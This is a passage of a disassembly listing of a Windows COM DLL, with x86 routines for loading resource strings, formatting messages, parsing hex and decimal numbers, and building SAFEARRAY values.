					; sub_69B2F67F+38j ...
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	0Ch
sub_69B2F67F	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2F6DD(UINT uID)

sub_69B2F6DD	proc near		; CODE XREF: sub_69B7F4D3+35p

uID		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, 1000h
		push	edi
		call	sub_69B1D897
		push	edi		; nBufferMax
		mov	esi, eax
		push	esi		; lpBuffer
		push	[esp+14h+uID]	; uID
		push	hModule		; hInstance
		call	LoadStringA	; LoadStringA
		mov	edi, eax
		xor	ebx, ebx
		test	edi, edi
		jle	short loc_69B2F712
		push	esi		; lpMultiByteStr
		mov	[edi+esi], bl
		call	sub_69B1D494
		mov	ebx, eax


loc_69B2F712:				; CODE XREF: sub_69B2F6DD+28j
		push	esi
		call	sub_69B1B2B7
		test	edi, edi
		jnz	short loc_69B2F726
		push	80004005h
		call	sub_69B2E8B8


loc_69B2F726:				; CODE XREF: sub_69B2F6DD+3Dj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_69B2F6DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F72E	proc near		; CODE XREF: sub_69B2E8CC+Ep
					; sub_69B2E9D0+1Ap ...
		push	0A4h
		push	offset dword_69B2F938
		call	sub_69B19C5C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], ebx
		mov	[ebp-30h], ebx
		mov	[ebp-34h], ebx
		cmp	dword_69B92954,	2
		setz	byte ptr [ebp-35h]
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B2F77C
		mov	eax, [ebp+10h]
		add	eax, 0FFFFFFFCh


loc_69B2F772:				; CODE XREF: sub_69B2F72E+4Cj
		inc	dword ptr [ebp-20h]
		add	eax, 4
		cmp	[eax], ebx
		jnz	short loc_69B2F772


loc_69B2F77C:				; CODE XREF: sub_69B2F72E+3Cj
		mov	[ebp-4], ebx
		cmp	[ebp-20h], ebx
		jle	loc_69B2F84C
		mov	eax, [ebp-20h]
		shl	eax, 2
		push	eax
		call	sub_69B1D897
		mov	[ebp-3Ch], eax
		mov	[ebp-28h], eax
		mov	eax, [ebp+10h]
		mov	[ebp-40h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-44h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-48h], ebx


loc_69B2F7AC:				; CODE XREF: sub_69B2F72E+119j
		cmp	eax, ebx
		jz	loc_69B2F84C
		cmp	byte ptr [ebp-35h], 0
		jz	short loc_69B2F7D1
		mov	ecx, [eax+0Ch]
		mov	[ebp-4Ch], ecx
		mov	edx, [ebp-28h]
		mov	esi, [ebp-20h]
		mov	[edx+esi*4], ecx
		mov	ebx, [eax+8]
		mov	[ebp-48h], ebx
		jmp	short loc_69B2F832
; ---------------------------------------------------------------------------


loc_69B2F7D1:				; CODE XREF: sub_69B2F72E+8Aj
		push	eax
		lea	ecx, [ebp-0A4h]
		call	sub_69B2F00B
		mov	eax, 0BB8h
		cmp	[ebp-50h], eax
		jnb	short loc_69B2F7EA
		mov	eax, [ebp-50h]


loc_69B2F7EA:				; CODE XREF: sub_69B2F72E+B7j
		mov	ebx, eax
		mov	[ebp-48h], ebx
		lea	esi, [ebx+1]
		push	esi
		call	sub_69B1D897
		mov	[ebp-0A8h], eax
		mov	ecx, [ebp-28h]
		mov	edx, [ebp-20h]
		lea	edx, [ecx+edx*4]
		mov	[edx], eax
		mov	ecx, esi
		mov	esi, [ebp-0A4h]
		mov	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [edx]
		mov	byte ptr [ebx+eax], 0
		lea	ecx, [ebp-0A4h]
		call	sub_69B2F099


loc_69B2F832:				; CODE XREF: sub_69B2F72E+A1j
		add	[ebp-24h], ebx
		inc	dword ptr [ebp-20h]
		add	dword ptr [ebp-40h], 4
		mov	eax, [ebp-40h]
		mov	eax, [eax-4]
		mov	[ebp-44h], eax
		xor	ebx, ebx
		jmp	loc_69B2F7AC
; ---------------------------------------------------------------------------


loc_69B2F84C:				; CODE XREF: sub_69B2F72E+54j
					; sub_69B2F72E+80j
		mov	esi, [ebp-24h]
		add	esi, 1000h
		mov	[ebp-0ACh], esi
		lea	eax, [esi+esi]
		push	eax
		call	sub_69B1D897
		mov	edi, eax
		mov	[ebp-0B0h], edi
		mov	[ebp-2Ch], edi
		push	dword ptr [ebp-28h] ; Arguments
		push	esi		; nSize
		push	edi		; lpBuffer
		push	400h		; dwLanguageId
		push	dword ptr [ebp+8] ; dwMessageId
		push	lpSource	; lpSource
		push	2800h		; dwFlags
		cmp	byte ptr [ebp-35h], 0
		jz	short loc_69B2F8A1
		call	ds:SHLWAPI_68
		mov	[ebp-0B4h], eax
		push	edi		; lpString
		call	sub_69B1A587
		jmp	short loc_69B2F8B3
; ---------------------------------------------------------------------------


loc_69B2F8A1:				; CODE XREF: sub_69B2F72E+15Dj
		call	ds:FormatMessageA	; FormatMessageA
		mov	[ebp-0B4h], eax
		push	edi		; lpMultiByteStr
		call	sub_69B1D494


loc_69B2F8B3:				; CODE XREF: sub_69B2F72E+171j
		mov	[ebp-34h], eax
		cmp	[ebp-0B4h], ebx
		ja	short loc_69B2F8C3
		call	sub_69B2E925


loc_69B2F8C3:				; CODE XREF: sub_69B2F72E+18Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B2F8E3
; ---------------------------------------------------------------------------


loc_69B2F8C9:				; DATA XREF: .text:69B2F93Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B2F8D2:				; DATA XREF: .text:69B2F940o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx


loc_69B2F8E3:				; CODE XREF: sub_69B2F72E+199j
		push	dword ptr [ebp-2Ch]
		call	sub_69B1B2B7
		cmp	byte ptr [ebp-35h], 0
		jnz	short loc_69B2F90D
		mov	edi, [ebp-28h]
		cmp	edi, ebx
		jz	short loc_69B2F90D
		xor	esi, esi
		cmp	[ebp-20h], ebx
		jle	short loc_69B2F90D


loc_69B2F8FF:				; CODE XREF: sub_69B2F72E+1DDj
		push	dword ptr [edi+esi*4]
		call	sub_69B1B2B7
		inc	esi
		cmp	esi, [ebp-20h]
		jl	short loc_69B2F8FF


loc_69B2F90D:				; CODE XREF: sub_69B2F72E+1C1j
					; sub_69B2F72E+1C8j ...
		push	dword ptr [ebp-28h]
		call	sub_69B1B2B7
		cmp	[ebp-30h], ebx
		jz	short loc_69B2F91F
		call	sub_69B2E860


loc_69B2F91F:				; CODE XREF: sub_69B2F72E+1EAj
		mov	eax, [ebp-34h]
		mov	ecx, [ebp-1Ch]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		call	sub_69B1853C
		retn	0Ch
sub_69B2F72E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B2F938	dd 0FFFFFFFFh			dd offset loc_69B2F8C9
		dd offset loc_69B2F8D2

; =============== S U B	R O U T	I N E =======================================



sub_69B2F944	proc near		; CODE XREF: sub_69B1D411+6955p
					; sub_69B2D34C+7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		lea	eax, [esp+arg_8]
		push	eax
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B2F72E
		retn
sub_69B2F944	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F957	proc near		; DATA XREF: .text:69B172FCo
		mov	eax, offset off_69B2F960
		retn
sub_69B2F957	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B2F960	dd offset off_69B25E94	; DATA XREF: sub_69B2F957o
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_69B2F968	proc near		; DATA XREF: .text:69B1730Co
		mov	ecx, [ecx+14h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+2Ch]
sub_69B2F968	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F970	proc near		; DATA XREF: .text:69B17300o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+20h]
		mov	ecx, [esi+10h]
		test	ecx, ecx
		mov	edi, eax
		jz	short loc_69B2F98C
		mov	eax, [ecx]
		call	dword ptr [eax+20h]
		add	edi, eax


loc_69B2F98C:				; CODE XREF: sub_69B2F970+13j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B2F970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2F991	proc near		; CODE XREF: DllGetClassObject+642Bp

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		push	0
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		push	0
		push	1
		push	1F4h
		call	sub_69B1A768
		push	1
		push	dword_69B95A14
		mov	edi, eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B2F9D6
; ---------------------------------------------------------------------------


loc_69B2F9C4:				; CODE XREF: sub_69B2F991+4Ej
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	eax
		push	dword ptr [eax+18h]
		mov	ecx, edi
		call	sub_69B18FB8


loc_69B2F9D6:				; CODE XREF: sub_69B2F991+31j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B2F9C4
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_69B2F991	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F9F5	proc near		; CODE XREF: sub_69B4DE11+168p
					; sub_69B4DE11+17Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	0
		call	sub_69B192CB
		retn	8
sub_69B2F9F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FA09	proc near		; CODE XREF: sub_69B40B8C+34p
					; sub_69B4778C+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	0
		call	sub_69B192CB
		retn	0Ch
sub_69B2FA09	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FA1F	proc near		; DATA XREF: .text:69B18110o
		mov	eax, offset off_69B2FA28
		retn
sub_69B2FA1F	endp

; ---------------------------------------------------------------------------
		align 4
off_69B2FA28	dd offset off_69B25E94	; DATA XREF: sub_69B2FA1Fo
		dd offset sub_69B6860C

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2FA30(LONG Value)

sub_69B2FA30	proc near		; CODE XREF: sub_69B6DF3C+D9p
					; sub_69B6DF3C+EFp

Value		= dword	ptr  4

		push	esi
		push	[esp+4+Value]	; Value
		mov	esi, ecx
		call	sub_69B188DC
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2FA30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2FA42	proc near		; CODE XREF: DllGetClassObject+6415p

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	0
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		push	0
		push	1
		push	1F4h
		call	sub_69B1A768
		push	1
		push	dword_69B95A20
		mov	ebx, eax
		call	sub_69B3156E
		mov	esi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jz	short loc_69B2FAA4
		push	edi


loc_69B2FA7F:				; CODE XREF: sub_69B2FA42+5Fj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	edi, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	edi
		push	eax
		mov	ecx, ebx
		call	sub_69B18FB8
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B2FA7F
		pop	edi


loc_69B2FAA4:				; CODE XREF: sub_69B2FA42+3Aj
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_69B2FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FAB8	proc near		; DATA XREF: .text:69B152D4o
					; .text:69B18114o
		mov	eax, [ecx+14h]
		retn
sub_69B2FAB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FABC	proc near		; DATA XREF: .text:69B121ACo
					; .text:69B121F4o ...

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	ecx, [esp+arg_0]
		setz	al
		retn	4
sub_69B2FABC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FAC8	proc near		; CODE XREF: sub_69B4D394+56p
					; sub_69B5EEC0+6Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	0
		call	sub_69B19621
		retn	8
sub_69B2FAC8	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2FADA(LPCWSTR lpString)

sub_69B2FADA	proc near		; CODE XREF: sub_69B46F1C+1Ep
					; sub_69B46F1C+34p ...

lpString	= dword	ptr  4

		push	[esp+lpString]	; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	[esp+4+lpString]
		push	0
		call	sub_69B19621
		retn	4
sub_69B2FADA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FAF3	proc near		; DATA XREF: .text:69B1D5D4o
		mov	byte ptr [ecx+4], 0
		retn
sub_69B2FAF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FAF8	proc near		; CODE XREF: sub_69B8AFE1+13p
					; sub_69B8D83F+7p
		mov	eax, dword_69B95A24
		retn
sub_69B2FAF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FAFE	proc near		; DATA XREF: .text:69B1D5C8o
		xor	eax, eax
		cmp	[ecx+4], al
		jnz	short locret_69B2FB0B
		cmp	[ecx+8], eax
		jz	short locret_69B2FB0B
		inc	eax

locret_69B2FB0B:			; CODE XREF: sub_69B2FAFE+5j
					; sub_69B2FAFE+Aj
		retn
sub_69B2FAFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FB0C	proc near		; DATA XREF: .text:69B1D5CCo
		cmp	byte ptr [ecx+4], 0
		jnz	short loc_69B2FB16
		mov	eax, [ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_69B2FB16:				; CODE XREF: sub_69B2FB0C+4j
		xor	eax, eax
		retn
sub_69B2FB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FB19	proc near		; DATA XREF: .text:69B1D5D0o
		cmp	byte ptr [ecx+4], 0
		jnz	short loc_69B2FB27
		mov	byte ptr [ecx+4], 1
		mov	eax, [ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_69B2FB27:				; CODE XREF: sub_69B2FB19+4j
		xor	eax, eax
		retn
sub_69B2FB19	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FB2A	proc near		; DATA XREF: .text:69B1D5C4o
		sub	ecx, 8
		jmp	sub_69B11FA3
sub_69B2FB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FB32	proc near		; CODE XREF: sub_69B2FB95+17p
					; sub_69B31DA3+1Cp

arg_0		= word ptr  4

		cmp	[esp+arg_0], 30h
		jb	short loc_69B2FB47
		cmp	[esp+arg_0], 39h
		ja	short loc_69B2FB47
		xor	eax, eax
		inc	eax
		jmp	short locret_69B2FB49
; ---------------------------------------------------------------------------


loc_69B2FB47:				; CODE XREF: sub_69B2FB32+6j
					; sub_69B2FB32+Ej
		xor	eax, eax

locret_69B2FB49:			; CODE XREF: sub_69B2FB32+13j
		retn	4
sub_69B2FB32	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FB4C	proc near		; CODE XREF: sub_69B4800F+14p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, off_69B96390[eax*4]
		retn	4
sub_69B2FB4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2FB5A	proc near		; CODE XREF: sub_69B2EF67+Bp
					; sub_69B2FF1E+28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		jmp	short loc_69B2FB76
; ---------------------------------------------------------------------------


loc_69B2FB5F:				; CODE XREF: sub_69B2FB5A+20j
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		dec	[ebp+arg_4]
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jz	short loc_69B2FB7C
		add	[ebp+arg_0], 2


loc_69B2FB76:				; CODE XREF: sub_69B2FB5A+3j
		cmp	[ebp+arg_4], 0
		jnz	short loc_69B2FB5F


loc_69B2FB7C:				; CODE XREF: sub_69B2FB5A+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn	8
sub_69B2FB5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FB83	proc near		; CODE XREF: sub_69B47DF9+17p
					; sub_69B4B9EA+14p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		lea	eax, [eax+eax*2]
		mov	ax, ds:word_69B25F08[eax*4]
		retn	4
sub_69B2FB83	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2FB95	proc near		; CODE XREF: sub_69B2FF1E+46p
					; sub_69B2FF1E+7Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		xor	esi, esi
		cmp	[esp+8+arg_0], esi
		mov	ebx, eax
		jz	short loc_69B2FBD1
		push	edi


loc_69B2FBA2:				; CODE XREF: sub_69B2FB95+39j
		dec	[esp+0Ch+arg_0]
		xor	edi, edi
		mov	di, [ebx]
		push	edi
		call	sub_69B2FB32
		test	eax, eax
		jz	short loc_69B2FBD0
		movzx	ecx, di
		lea	eax, [esi+esi*4]
		inc	ebx
		lea	esi, [ecx+eax*2-30h]
		inc	ebx
		cmp	esi, 19999990h
		jnb	short loc_69B2FBD0
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_69B2FBA2


loc_69B2FBD0:				; CODE XREF: sub_69B2FB95+1Ej
					; sub_69B2FB95+32j
		pop	edi


loc_69B2FBD1:				; CODE XREF: sub_69B2FB95+Aj
		mov	eax, [esp+8+arg_4]
		mov	[eax], esi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	8
sub_69B2FB95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2FBDE	proc near		; CODE XREF: sub_69B302A5+86p
					; sub_69B302A5+BAp ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	eax, ecx
		push	2
		cdq
		pop	edi
		idiv	edi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1], 0
		test	edx, edx
		jz	short loc_69B2FC03
		xor	bl, bl
		mov	[ebp+var_1], 1
		jmp	short loc_69B2FC06
; ---------------------------------------------------------------------------


loc_69B2FC03:				; CODE XREF: sub_69B2FBDE+1Bj
		mov	bl, byte ptr [ebp+arg_4+3]


loc_69B2FC06:				; CODE XREF: sub_69B2FBDE+23j
		mov	eax, [ebp+arg_C]
		mov	edi, [ebp+arg_8]
		inc	ecx
		sar	ecx, 1
		mov	[eax], ecx


loc_69B2FC11:				; CODE XREF: sub_69B2FBDE+7Fj
					; sub_69B2FBDE+8Aj ...
		mov	eax, [ebp+arg_4]
		dec	[ebp+arg_4]
		test	eax, eax
		jle	short loc_69B2FC7B
		mov	ax, [esi]
		inc	esi
		inc	esi
		cmp	ax, 61h
		jb	short loc_69B2FC30
		cmp	ax, 66h
		ja	short loc_69B2FC30
		sub	al, 57h
		jmp	short loc_69B2FC4E
; ---------------------------------------------------------------------------


loc_69B2FC30:				; CODE XREF: sub_69B2FBDE+46j
					; sub_69B2FBDE+4Cj
		cmp	ax, 41h
		jb	short loc_69B2FC40
		cmp	ax, 46h
		ja	short loc_69B2FC40
		sub	al, 37h
		jmp	short loc_69B2FC4E
; ---------------------------------------------------------------------------


loc_69B2FC40:				; CODE XREF: sub_69B2FBDE+56j
					; sub_69B2FBDE+5Cj
		cmp	ax, 30h
		jb	short loc_69B2FC6A
		cmp	ax, 39h
		ja	short loc_69B2FC6A
		sub	al, 30h


loc_69B2FC4E:				; CODE XREF: sub_69B2FBDE+50j
					; sub_69B2FBDE+60j
		cmp	[ebp+var_1], 0
		jz	short loc_69B2FC5F
		add	bl, al
		mov	[edi], bl
		inc	edi
		mov	[ebp+var_1], 0
		jmp	short loc_69B2FC11
; ---------------------------------------------------------------------------


loc_69B2FC5F:				; CODE XREF: sub_69B2FBDE+74j
		shl	al, 4
		mov	bl, al
		mov	[ebp+var_1], 1
		jmp	short loc_69B2FC11
; ---------------------------------------------------------------------------


loc_69B2FC6A:				; CODE XREF: sub_69B2FBDE+66j
					; sub_69B2FBDE+6Cj
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jnz	short loc_69B2FC11
		mov	eax, 80004005h
		jmp	short loc_69B2FC86
; ---------------------------------------------------------------------------


loc_69B2FC7B:				; CODE XREF: sub_69B2FBDE+3Bj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_69B2FC84
		mov	[eax], esi


loc_69B2FC84:				; CODE XREF: sub_69B2FBDE+A2j
		xor	eax, eax


loc_69B2FC86:				; CODE XREF: sub_69B2FBDE+9Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B2FBDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2FC8D(int, int, ULONG cElements)

sub_69B2FC8D	proc near		; CODE XREF: sub_69B30856+114p
					; sub_69B7BA11+54p

ppvData		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
cElements	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	[ebp+cElements]	; cElements
		push	0		; lLbound
		push	11h		; vt
		call	SafeArrayCreateVector
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B2FCAF
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B2FCF7
; ---------------------------------------------------------------------------


loc_69B2FCAF:				; CODE XREF: sub_69B2FC8D+17j
		lea	eax, [ebp+ppvData]
		push	eax		; ppvData
		push	ebx		; psa
		call	SafeArrayAccessData
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_69B2FCCA
		push	ebx		; psa
		call	SafeArrayDestroy
		jmp	short loc_69B2FCF7
; ---------------------------------------------------------------------------


loc_69B2FCCA:				; CODE XREF: sub_69B2FC8D+32j
		mov	ecx, [ebp+cElements]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, ecx
		push	edi
		mov	edi, [ebp+ppvData]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		push	ebx		; psa
		rep movsb
		call	SafeArrayUnaccessData
		mov	eax, [ebp+arg_0]
		pop	edi
		mov	[eax+8], ebx
		mov	word ptr [eax],	2011h
		pop	esi


loc_69B2FCF7:				; CODE XREF: sub_69B2FC8D+20j
					; sub_69B2FC8D+3Bj
		mov	eax, [ebp+var_4]
		pop	ebx
		leave
		retn	0Ch
sub_69B2FC8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2FCFF(OLECHAR *strIn, int, int, ULONG dwVtBits, VARIANT *pvar, int)

sub_69B2FCFF	proc near		; CODE XREF: sub_69B30856+3Fp

rgbDig		= byte ptr -11Ch
pnumprs		= NUMPARSE ptr -1Ch
var_4		= dword	ptr -4
strIn		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
dwVtBits	= dword	ptr  14h
pvar		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	esi
		mov	esi, [ebp+strIn]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+pnumprs.dwInFlags], eax
		lea	eax, [ebp+rgbDig]
		push	eax		; rgbDig
		lea	eax, [ebp+pnumprs]
		push	eax		; pnumprs
		push	0		; dwFlags
		push	409h		; lcid
		push	esi		; strIn
		mov	[ebp+pnumprs.cDig], 100h
		call	VarParseNumFromStr
		mov	ecx, [ebp+arg_14]
		test	ecx, ecx
		mov	edx, 80004005h
		jz	short loc_69B2FD55
		push	edi
		mov	edi, [ebp+pnumprs.cchUsed]
		lea	esi, [esi+edi*2]
		mov	[ecx], esi
		pop	edi
		jmp	short loc_69B2FD5F
; ---------------------------------------------------------------------------


loc_69B2FD55:				; CODE XREF: sub_69B2FCFF+48j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+pnumprs.cchUsed]
		jz	short loc_69B2FD5F
		mov	eax, edx


loc_69B2FD5F:				; CODE XREF: sub_69B2FCFF+54j
					; sub_69B2FCFF+5Cj
		test	eax, eax
		pop	esi
		jnz	short loc_69B2FD8B
		test	byte ptr [ebp+dwVtBits], 40h
		jz	short loc_69B2FD74
		cmp	[ebp+pnumprs.nPwr10], 0FFFFFFFCh
		jge	short loc_69B2FD74
		mov	eax, edx
		jmp	short loc_69B2FD8B
; ---------------------------------------------------------------------------


loc_69B2FD74:				; CODE XREF: sub_69B2FCFF+69j
					; sub_69B2FCFF+6Fj
		push	[ebp+pvar]	; pvar
		lea	eax, [ebp+rgbDig]
		push	[ebp+dwVtBits]	; dwVtBits
		push	eax		; rgbDig
		lea	eax, [ebp+pnumprs]
		push	eax		; pnumprs
		call	VarNumFromParseNum


loc_69B2FD8B:				; CODE XREF: sub_69B2FCFF+63j
					; sub_69B2FCFF+73j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		leave
		retn	18h
sub_69B2FCFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2FD9A	proc near		; CODE XREF: sub_69B30856+12Fp

var_84		= byte ptr -84h
var_58		= byte ptr -58h
var_30		= byte ptr -30h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		and	[ebp+var_8], 0
		push	0Ah
		pop	ecx
		mov	esi, offset a18446744073709 ; "18446744073709551615"
		lea	edi, [ebp+var_84]
		rep movsd
		movsw
		push	0Ah
		pop	ecx
		mov	esi, offset a92233720368547 ; "9223372036854775808"
		lea	edi, [ebp+var_30]
		rep movsd
		push	0Ah
		pop	ecx
		mov	esi, offset a922337203685_0 ; "9223372036854775807"
		lea	edi, [ebp+var_58]
		rep movsd
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx]
		xor	edi, edi
		xor	bl, bl
		cmp	[ebp+arg_8], 1Ah
		mov	[ebp+var_4], eax
		jnz	short loc_69B2FDFD
		cmp	dx, 2Dh
		jz	short loc_69B2FE02
		cmp	dx, 2Bh
		jz	short loc_69B2FE04


loc_69B2FDFD:				; CODE XREF: sub_69B2FD9A+55j
		mov	eax, [ebp+arg_4]
		jmp	short loc_69B2FE3C
; ---------------------------------------------------------------------------


loc_69B2FE02:				; CODE XREF: sub_69B2FD9A+5Bj
		mov	bl, 1


loc_69B2FE04:				; CODE XREF: sub_69B2FD9A+61j
		mov	eax, [ebp+arg_4]
		inc	ecx
		inc	ecx
		dec	eax
		jnz	short loc_69B2FE3C


loc_69B2FE0C:				; CODE XREF: sub_69B2FD9A:loc_69B2FE68j
					; sub_69B2FD9A+DFj ...
		mov	[ebp+var_8], 80004005h


loc_69B2FE13:				; CODE XREF: sub_69B2FD9A+D4j
					; sub_69B2FD9A+102j
		mov	edx, [ebp+arg_10]
		test	edx, edx
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	word ptr [eax],	1
		pop	ebx
		jz	short loc_69B2FE27
		mov	[edx], ecx


loc_69B2FE27:				; CODE XREF: sub_69B2FD9A+89j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_8]
		call	sub_69B1B9F6
		leave
		retn	14h
; ---------------------------------------------------------------------------


loc_69B2FE39:				; CODE XREF: sub_69B2FD9A+A6j
		inc	ecx
		inc	ecx
		dec	eax


loc_69B2FE3C:				; CODE XREF: sub_69B2FD9A+66j
					; sub_69B2FD9A+70j
		cmp	word ptr [ecx],	30h
